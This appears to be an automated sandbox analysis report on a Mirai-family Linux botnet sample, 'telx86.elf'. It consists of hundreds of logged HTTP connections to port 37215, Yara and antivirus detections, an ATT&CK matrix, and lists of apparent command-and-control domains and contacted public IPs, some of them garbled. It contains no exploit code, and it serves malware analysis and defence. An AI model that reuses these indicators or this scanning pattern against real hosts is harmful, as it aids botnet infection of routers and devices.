Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57624 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48284 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 52674
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36386 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36226 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41514 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58920
Source: unknown	Network traffic detected: HTTP traffic on port 48006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46770 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59312 -> 37215

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: telx86.elf, type: SAMPLE
Source: Yara match	File source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: telx86.elf, type: SAMPLE
Source: Yara match	File source: 5419.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	1 File and Directory Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	13 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
telx86.elf	57%	ReversingLabs	Linux.Trojan.Mirai
telx86.elf	59%	Virustotal		Browse
telx86.elf	100%	Avira	EXP/ELF.Mirai.Hua.c
telx86.elf	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
sfdopospdofpsdo.dyn	1%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sfdopospdofpsdo.dyn	89.190.156.141	true	false	1%, Virustotal, Browse	unknown
daisy.ubuntu.com	162.213.35.24	true	false		high
jiggaboo.oss..T	unknown	unknown	true		unknown
sfdopospdofpsdo.dyn.	unknown	unknown	true		unknown
pposdif.parody.UeKKa/PV!E=_2gWD5)\MIHpposdifparodyoUeII	unknown	unknown	true		low
asdsdfjsdfsd.indy.	unknown	unknown	true		unknown
asdsdfjsdfsd.indy	unknown	unknown	true		unknown
yoursocuteong.dyn.	unknown	unknown	true		unknown
hailbot.geek.Ueq;<<PV!a/E(L@9Cw_9CPoUeo;<<PV	unknown	unknown	true		low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	telx86.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	telx86.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
196.226.165.53	unknown	Tunisia	37492	ORANGE-TN	false
197.197.89.89	unknown	Egypt	36992	ETISALAT-MISREG	false
197.90.63.225	unknown	South Africa	10474	OPTINETZA	false
156.3.86.184	unknown	United States	2920	LACOEUS	false
156.13.131.7	unknown	New Zealand	22192	SSHENETUS	false
197.106.106.163	unknown	South Africa	37168	CELL-CZA	false
156.112.149.215	unknown	United States	27065	DNIC-ASBLK-27032-27159US	false
41.198.255.148	unknown	South Africa	328306	Avanti-ASZA	false
41.215.4.43	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
197.193.232.120	unknown	Egypt	36992	ETISALAT-MISREG	false
41.227.18.82	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
41.60.238.126	unknown	Mauritius	30844	LIQUID-ASGB	false
197.51.240.179	unknown	Egypt	8452	TE-ASTE-ASEG	false
122.60.21.214	unknown	New Zealand	4771	SPARKNZSparkNewZealandTradingLtdNZ	false
222.75.181.245	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
197.118.80.104	unknown	Algeria	36947	ALGTEL-ASDZ	false
186.7.126.195	unknown	Dominican Republic	6400	CompaniaDominicanadeTelefonosSADO	false
154.241.206.80	unknown	Algeria	36947	ALGTEL-ASDZ	false
222.94.132.144	unknown	China	134756	CHINANET-NANJING-IDCCHINANETNanjingIDCnetworkCN	false
197.55.123.221	unknown	Egypt	8452	TE-ASTE-ASEG	false
102.185.196.249	unknown	Egypt	24835	RAYA-ASEG	false
156.58.152.216	unknown	Austria	199083	MP-ASAT	false
156.42.234.92	unknown	United States	4211	ASN-MARICOPA1US	false
41.169.198.169	unknown	South Africa	36937	Neotel-ASZA	false
156.110.22.143	unknown	United States	5078	ONENET-AS-1US	false
94.151.168.21	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
41.193.135.16	unknown	South Africa	11845	Vox-TelecomZA	false
197.43.51.151	unknown	Egypt	8452	TE-ASTE-ASEG	false
196.83.69.97	unknown	Morocco	6713	IAM-ASMA	false
102.236.154.49	unknown	unknown	36926	CKL1-ASNKE	false
156.0.172.139	unknown	South Africa	328112	Linux-Based-Systems-Design-ASZA	false
186.143.124.76	unknown	Argentina	11315	TelefonicaMovilesArgentinaSAMovistarArgentinaAR	false
156.216.92.47	unknown	Egypt	8452	TE-ASTE-ASEG	false
222.202.190.66	unknown	China	4538	ERX-CERNET-BKBChinaEducationandResearchNetworkCenter	false
197.190.151.151	unknown	Ghana	37140	zain-asGH	false
102.20.131.47	unknown	unknown	37054	Telecom-MalagasyMG	false
156.112.197.139	unknown	United States	5961	DNIC-ASBLK-05800-06055US	false
122.32.174.130	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
37.75.182.246	unknown	Denmark	43557	ASEMNETDK	false
156.55.64.35	unknown	United States	20746	ASN-IDCTNOOMINCIT	false
156.97.115.134	unknown	Chile	16629	CTCCORPSATELEFONICAEMPRESASCL	false
197.80.221.10	unknown	South Africa	10474	OPTINETZA	false
197.190.151.147	unknown	Ghana	37140	zain-asGH	false
156.79.67.12	unknown	United States	11363	FUJITSU-USAUS	false
156.246.150.175	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
186.51.148.49	unknown	Uruguay	6057	AdministracionNacionaldeTelecomunicacionesUY	false
181.150.220.191	unknown	Colombia	26611	COMCELSACO	false
197.117.202.170	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.140.123.132	unknown	Morocco	36903	MT-MPLSMA	false
222.145.237.200	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
197.96.124.50	unknown	South Africa	3741	ISZA	false
